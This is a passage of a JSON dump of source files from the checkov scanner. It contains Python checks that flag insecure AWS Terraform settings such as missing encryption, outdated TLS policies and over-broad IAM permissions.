isinstance(n2n_enc_enabled, bool):\n                return CheckResult.UNKNOWN\n            if n2n_enc_enabled:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ElasticsearchNodeToNodeEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py",
    "content": "from typing import List, Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchTLSPolicy(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Verify Elasticsearch domain is using an up to date TLS policy\"\n        id = \"CKV_AWS_228\"\n        supported_resources = (\"aws_elasticsearch_domain\", \"aws_opensearch_domain\")\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"domain_endpoint_options/[0]/tls_security_policy\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"Policy-Min-TLS-1-2-2019-07\", \"Policy-Min-TLS-1-2-PFS-2023-10\"]\n\n    def get_expected_value(self) -> Any:\n        return \"Policy-Min-TLS-1-2-PFS-2023-10\"\n\n\ncheck = ElasticsearchTLSPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/FSXOntapFSEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass FSXOntapFSEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure fx ontap file system is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_178\"\n        supported_resources = ['aws_fsx_ontap_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = FSXOntapFSEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/FSXOpenZFSFileSystemEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass FSXOpenZFSFileSystemEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure resource is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_203\"\n        supported_resources = ['aws_fsx_openzfs_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = FSXOpenZFSFileSystemEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/FSXWindowsFSEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass FSXWindowsFSEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure FSX Windows filesystem is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_179\"\n        supported_resources = ['aws_fsx_windows_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = FSXWindowsFSEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/GlacierVaultAnyPrincipal.py",
    "content": "from __future__ import annotations\n\nimport json\nimport re\nfrom typing import List, Any\n\nfrom cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nDATA_TO_JSON_PATTERN = re.compile(r\"\\$?\\{?(.+?)(?=.json).json\\}?\")\n\n\nclass GlacierVaultAnyPrincipal(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Glacier Vault access policy is not public by only allowing specific services or principals to access it\"\n        id = \"CKV_AWS_167\"\n        supported_resources = (\"aws_glacier_vault\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"access_policy\" not in conf:\n            return CheckResult.PASSED\n        policy_obj = conf[\"access_policy\"][0]\n        if isinstance(policy_obj, str):\n            if re.match(DATA_TO_JSON_PATTERN, policy_obj):\n                return CheckResult.UNKNOWN\n            else:\n                try:\n                    policy_obj = json.loads(policy_obj)\n                except Exception:\n                    return CheckResult.UNKNOWN\n        try:\n            policy = ResourcePolicyDocument(policy=policy_obj)\n            if policy.internet_accessible_actions:\n                return CheckResult.FAILED\n        except (TypeError, AttributeError):\n            return CheckResult.UNKNOWN\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"access_policy\"]\n\n\ncheck = GlacierVaultAnyPrincipal()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GlobalAcceleratorAcceleratorFlowLogs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Global Accelerator accelerator has flow logs enabled\"\n        id = \"CKV_AWS_75\"\n        supported_resources = ['aws_globalaccelerator_accelerator']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"attributes/[0]/flow_logs_enabled\"\n\n\ncheck = GlobalAcceleratorAcceleratorFlowLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/GlueDataCatalogEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass GlueDataCatalogEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Glue Data Catalog Encryption is enabled\"\n        id = \"CKV_AWS_94\"\n        supported_resources = ['aws_glue_data_catalog_encryption_settings']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'data_catalog_encryption_settings' not in conf:\n            return CheckResult.FAILED\n\n        data_conf = conf['data_catalog_encryption_settings'][0]\n        connection_encrypted = False\n        encrypted_at_rest = False\n        if 'encryption_at_rest' in data_conf:\n            enc_res = data_conf['encryption_at_rest'][0]\n            if 'catalog_encryption_mode' in enc_res and 'sse_aws_kms_key_id' in enc_res \\\n                    and enc_res['catalog_encryption_mode'][0] == \"SSE-KMS\":\n                encrypted_at_rest = True\n                self.evaluated_keys = [\n                    'data_catalog_encryption_settings/[0]/encryption_at_rest/[0]/catalog_encryption_mode',\n                    'data_catalog_encryption_settings/[0]/encryption_at_rest/[0]/sse_aws_kms_key_id']\n            else:\n                self.evaluated_keys = ['data_catalog_encryption_settings/[0]/encryption_at_rest']\n\n        if 'connection_password_encryption' in data_conf:\n            con_res = data_conf['connection_password_encryption'][0]\n            if 'return_connection_password_encrypted' in con_res and 'aws_kms_key_id' in con_res \\\n                    and con_res['return_connection_password_encrypted'][0] is True:\n                connection_encrypted = True\n                self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption/[0]/'\n                                           'return_connection_password_encrypted')\n                self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption/[0]/'\n                                           'aws_kms_key_id')\n            elif 'return_connection_password_encrypted' in con_res and 'aws_kms_key_id' in con_res \\\n                    and con_res['return_connection_password_encrypted'][0] is False:\n                # handle the case when the attribute is explicitly set to false\n                self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption/[0]/'\n                                           'return_connection_password_encrypted')\n            else:\n                self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption')\n\n        if encrypted_at_rest and connection_encrypted:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = GlueDataCatalogEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/GlueSecurityConfiguration.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass GlueSecurityConfiguration(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Glue Security Configuration Encryption is enabled\"\n        id = \"CKV_AWS_99\"\n        supported_resources = ['aws_glue_security_configuration']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'encryption_configuration' not in conf:\n            return CheckResult.FAILED\n        data_conf = conf['encryption_configuration'][0]\n        cloudwatch_encrypted = False\n        job_bookmarks_encrypted = False\n        s3_encrypted = False\n        if 'cloudwatch_encryption' in data_conf:\n            enc_res = data_conf['cloudwatch_encryption'][0]\n            if 'cloudwatch_encryption_mode' in enc_res and 'kms_key_arn' in enc_res \\\n                    and enc_res['cloudwatch_encryption_mode'][0] == \"SSE-KMS\":\n                cloudwatch_encrypted = True\n                self.evaluated_keys = ['encryption_configuration/[0]/cloudwatch_encryption/[0]/kms_key_arn',\n                                       'encryption_configuration/[0]/cloudwatch_encryption/[0]/'\n                                       'cloudwatch_encryption_mode']\n            else:\n                self.evaluated_keys = ['encryption_configuration/[0]/cloudwatch_encryption']\n\n        if 'job_bookmarks_encryption' in data_conf:\n            enc_res = data_conf['job_bookmarks_encryption'][0]\n            if 'job_bookmarks_encryption_mode' in enc_res and 'kms_key_arn' in enc_res \\\n                    and enc_res['job_bookmarks_encryption_mode'][0] == \"CSE-KMS\":\n                job_bookmarks_encrypted = True\n                self.evaluated_keys.append(\n                    'encryption_configuration/[0]/job_bookmarks_encryption/[0]/job_bookmarks_encryption_mode')\n                self.evaluated_keys.append('encryption_configuration/[0]/job_bookmarks_encryption/[0]/kms_key_arn')\n            else:\n                self.evaluated_keys.append('encryption_configuration/[0]/job_bookmarks_encryption')\n\n        if 's3_encryption' in data_conf:\n            enc_res = data_conf['s3_encryption'][0]\n            if 's3_encryption_mode' in enc_res and enc_res['s3_encryption_mode'][0] != \"DISABLED\":\n                s3_encrypted = True\n                self.evaluated_keys.append('encryption_configuration/[0]/s3_encryption/[0]/s3_encryption_mode')\n            else:\n                self.evaluated_keys.append('encryption_configuration/[0]/s3_encryption')\n\n        if cloudwatch_encrypted and job_bookmarks_encrypted and s3_encrypted:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = GlueSecurityConfiguration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GlueSecurityConfigurationEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Glue component has a security configuration associated\"\n        id = \"CKV_AWS_195\"\n        supported_resources = (\"aws_glue_crawler\", \"aws_glue_dev_endpoint\", \"aws_glue_job\")\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"security_configuration\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = GlueSecurityConfigurationEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/GuarddutyDetectorEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GuarddutyDetectorEnabled(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that GuardDuty detector is enabled\"\n        id = \"CKV_AWS_238\"\n        supported_resources = ['aws_guardduty_detector']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'enable'\n\n\ncheck = GuarddutyDetectorEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list, extract_policy_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass IAMAdminPolicyDocument(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = 'Ensure IAM policies that allow full \"*-*\" administrative privileges are not created'\n        id = \"CKV_AWS_62\"\n        supported_resources = (\n            \"aws_iam_role_policy\",\n            \"aws_iam_user_policy\",\n            \"aws_iam_group_policy\",\n            \"aws_iam_policy\",\n            \"aws_ssoadmin_permission_set_inline_policy\",\n        )\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"policy\" in conf.keys():\n            policy_str = \"policy\"\n        elif \"inline_policy\" in conf.keys():\n            policy_str = \"inline_policy\"\n        else:\n            return CheckResult.PASSED\n\n        try:\n            policy_block = extract_policy_dict(conf[policy_str][0])\n            if policy_block and \"Statement\" in policy_block.keys():\n                for statement in force_list(policy_block[\"Statement\"]):\n                    if \"Action\" in statement:\n                        effect = statement.get(\"Effect\", \"Allow\")\n                        action = force_list(statement.get(\"Action\", [\"\"]))\n                        resource = force_list(statement.get(\"Resource\", [\"\"]))\n                        if effect == \"Allow\" and \"*\" in action and \"*\" in resource:\n                            return CheckResult.FAILED\n        except Exception:  # nosec\n            pass\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policy\", \"inline_policy\"]\n\n\ncheck = IAMAdminPolicyDocument()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Union, Dict, Any, TYPE_CHECKING\n\nfrom checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass CloudSplainingCredentialsExposure(BaseTerraformCloudsplainingResourceIAMCheck):\n    excluded_actions = {\"ecr:GetAuthorizationToken\"}  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow credentials exposure\"\n        id = \"CKV_AWS_287\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        return [x for x in policy.credentials_exposure if x not in CloudSplainingCredentialsExposure.excluded_actions]\n\n\ncheck = CloudSplainingCredentialsExposure()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMDataExfiltration.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, TYPE_CHECKING\n\nfrom checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass IAMDataExfiltration(BaseTerraformCloudsplainingResourceIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow data exfiltration\"\n        id = \"CKV_AWS_288\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> List[str]:\n        return policy.allows_data_exfiltration_actions\n\n\ncheck = IAMDataExfiltration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nADMIN_POLICY_NAME = \"AdministratorAccess\"\nADMIN_POLICY_ARN = f\"arn:aws:iam::aws:policy/{ADMIN_POLICY_NAME}\"\n\n\nclass IAMManagedAdminPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        # This is the full description of your check\n        description = \"Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy\"\n\n        # This is the Unique ID for your check\n        id = \"CKV_AWS_274\"\n\n        # These are the terraform objects supported by this check (ex: aws_iam_policy_document)\n        supported_resources = (\n            \"aws_iam_role\",\n            \"aws_iam_policy_attachment\",\n            \"aws_iam_role_policy_attachment\",\n            \"aws_iam_user_policy_attachment\",\n            \"aws_iam_group_policy_attachment\",\n            \"aws_ssoadmin_managed_policy_attachment\",\n        )\n\n        # Valid CheckCategories are defined in checkov/common/models/enums.py\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if self.entity_type == \"aws_iam_role\":\n            if \"managed_policy_arns\" in conf.keys():\n                if ADMIN_POLICY_ARN in conf[\"managed_policy_arns\"][0]:\n                    self.evaluated_keys = [\"managed_policy_arns\"]\n                    return CheckResult.FAILED\n\n        elif self.entity_type in (\n            \"aws_iam_policy_attachment\",\n            \"aws_iam_role_policy_attachment\",\n            \"aws_iam_user_policy_attachment\",\n            \"aws_iam_group_policy_attachment\",\n        ):\n            policy_arn = conf.get(\"policy_arn\")\n            if policy_arn and isinstance(policy_arn, list) and policy_arn[0] == ADMIN_POLICY_ARN:\n                self.evaluated_keys = [\"policy_arn\"]\n                return CheckResult.FAILED\n\n        elif self.entity_type in (\n            \"aws_ssoadmin_managed_policy_attachment\"\n        ):\n            managed_policy_arn = conf.get(\"managed_policy_arn\")\n            if managed_policy_arn and isinstance(managed_policy_arn, list) and managed_policy_arn[0] == ADMIN_POLICY_ARN:\n                self.evaluated_keys = [\"managed_policy_arn\"]\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = IAMManagedAdminPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Dict, Any, Union, TYPE_CHECKING\n\nfrom checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass IAMPermissionsManagement(BaseTerraformCloudsplainingResourceIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow permissions management / resource exposure without constraints\"\n        id = \"CKV_AWS_289\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        return policy.permissions_management_without_constraints\n\n\ncheck = IAMPermissionsManagement()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py",
    "content": "from typing import List, Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass IAMPolicyAttachedToGroupOrRoles(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may \" \\\n               \"in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.)\"\n        id = \"CKV_AWS_40\"\n        supported_resources = ('aws_iam_user_policy_attachment', 'aws_iam_user_policy', 'aws_iam_policy_attachment')\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        if self.entity_type == \"aws_iam_policy_attachment\":\n            return \"users\"\n        elif self.entity_type in (\"aws_iam_user_policy\", \"aws_iam_user_policy_attachment\"):\n            return \"user\"\n\n        return \"\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [ANY_VALUE]\n\n\ncheck = IAMPolicyAttachedToGroupOrRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Dict, Any, Union, TYPE_CHECKING\n\nfrom checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import \\\n    BaseTerraformCloudsplainingResourceIAMCheck\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass ResourceCloudSplainingPrivilegeEscalation(BaseTerraformCloudsplainingResourceIAMCheck):\n    def __init__(self) -> None:\n        name = \"Ensure IAM policies does not allow privilege escalation\"\n        id = \"CKV_AWS_286\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        escalations = policy.allows_privilege_escalation\n        flattened_escalations: list[str] = []\n        if escalations:\n            for escalation in escalations:\n                if isinstance(escalation, dict):\n                    flattened_escalations.extend(escalation.get('actions'))\n                else:\n                    flattened_escalations.append(escalation)\n        return flattened_escalations\n\n\ncheck = ResourceCloudSplainingPrivilegeEscalation()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py",
    "content": "from __future__ import annotations\n\nimport re\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import extract_policy_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import Any\n\nACCOUNT_ACCESS = re.compile(r\"\\d{12}|arn:aws:iam::\\d{12}:root\")\n\n\nclass IAMRoleAllowAssumeFromAccount(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS IAM policy does not allow assume role permission across all services\"\n        id = \"CKV_AWS_61\"\n        supported_resources = (\"aws_iam_role\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        try:\n            assume_role_block = extract_policy_dict(conf[\"assume_role_policy\"][0])\n            if assume_role_block and \"Statement\" in assume_role_block:\n                for statement in assume_role_block[\"Statement\"]:\n                    if statement.get(\"Effect\") == \"Deny\":\n                        continue\n                    if \"Principal\" in statement and \"AWS\" in statement[\"Principal\"]:\n                        # Can be a string or an array of strings\n                        aws_principals = statement[\"Principal\"][\"AWS\"]\n                        if isinstance(aws_principals, str) and re.match(ACCOUNT_ACCESS, aws_principals):\n                            return CheckResult.FAILED\n                        elif isinstance(aws_principals, list):\n                            for aws_principal in aws_principals:\n                                if isinstance(aws_principal, str) and re.match(ACCOUNT_ACCESS, aws_principal):\n                                    return CheckResult.FAILED\n        except Exception:  # nosec\n            return CheckResult.UNKNOWN\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"assume_role_policy\"]\n\n\ncheck = IAMRoleAllowAssumeFromAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMRoleAllowsPublicAssume.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import extract_policy_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass IAMRoleAllowsPublicAssume(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM role allows only specific services or principals to assume it\"\n        id = \"CKV_AWS_60\"\n        supported_resources = ['aws_iam_role']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if not conf.get('assume_role_policy'):\n            return CheckResult.PASSED\n        try:\n            assume_role_block = extract_policy_dict(conf['assume_role_policy'][0])\n            if assume_role_block and 'Statement' in assume_role_block.keys():\n                for statement in assume_role_block['Statement']:\n                    if 'Effect' in statement and statement['Effect'] == 'Deny':\n                        continue\n                    if 'AWS' in statement['Principal']:\n                        # Can be a string or an array of strings\n                        aws = statement['Principal']['AWS']\n                        if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws):\n                            return CheckResult.FAILED\n        except Exception:  # nosec\n            pass\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['assume_role_policy']\n\n\ncheck = IAMRoleAllowsPublicAssume()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list, extract_policy_dict\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import Any\n\n\nclass IAMStarActionPolicyDocument(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = 'Ensure no IAM policies documents allow \"*\" as a statement\\'s actions'\n        id = \"CKV_AWS_63\"\n        supported_resources = (\n            \"aws_iam_role_policy\",\n            \"aws_iam_user_policy\",\n            \"aws_iam_group_policy\",\n            \"aws_iam_policy\",\n            \"aws_ssoadmin_permission_set_inline_policy\",\n        )\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        try:\n            policy_block = None\n            if \"policy\" in conf.keys():\n                policy_block = extract_policy_dict(conf[\"policy\"][0])\n            elif \"inline_policy\" in conf.keys():\n                policy_block = extract_policy_dict(conf[\"inline_policy\"][0])\n            if policy_block and \"Statement\" in policy_block.keys():\n                for statement in force_list(policy_block[\"Statement\"]):\n                    if \"Action\" in statement:\n                        actions = force_list(statement[\"Action\"])\n                        if (\n                            isinstance(actions[0], str)\n                            and statement.get(\"Effect\", \"Allow\") == \"Allow\"\n                            and \"*\" in actions\n                        ):\n                            # scanning a HCL file\n                            return CheckResult.FAILED\n                        elif (\n                            isinstance(actions[0], list)\n                            and statement.get(\"Effect\", [\"Allow\"]) == [\"Allow\"]\n                            and \"*\" in actions[0]\n                        ):\n                            # scanning a TF plan file\n                            return CheckResult.FAILED\n        except Exception:  # nosec\n            pass\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"policy\", \"inline_policy\"]\n\n\ncheck = IAMStarActionPolicyDocument()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import (\n    BaseTerraformCloudsplainingResourceIAMCheck,\n)\n\nif TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass IAMStarResourcePolicyDocument(BaseTerraformCloudsplainingResourceIAMCheck):\n    def __init__(self):\n        name = 'Ensure no IAM policies documents allow \"*\" as a statement\\'s resource for restrictable actions'\n        id = \"CKV_AWS_355\"\n        super().__init__(name=name, id=id)\n\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str] | list[dict[str, Any]]:\n        return policy.all_allowed_unrestricted_actions\n\n\ncheck = IAMStarResourcePolicyDocument()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMUserNotUsedForAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass IAMUserNotUsedForAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure access is controlled through SSO and not AWS IAM defined users\"\n        id = \"CKV_AWS_273\"\n        supported_resources = ('aws_iam_user',)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        return CheckResult.FAILED\n\n\ncheck = IAMUserNotUsedForAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMUserRootAccessKeys.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass IAMUserRootAccessKeys(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        name = \"Ensure IAM root user does not have Access keys\"\n        id = \"CKV_AWS_348\"\n        supported_resources = ['aws_iam_access_key']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"user\"\n\n    def get_forbidden_values(self):\n        return [\"root\"]\n\n\ncheck = IAMUserRootAccessKeys()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/IAMWriteAccess.py",
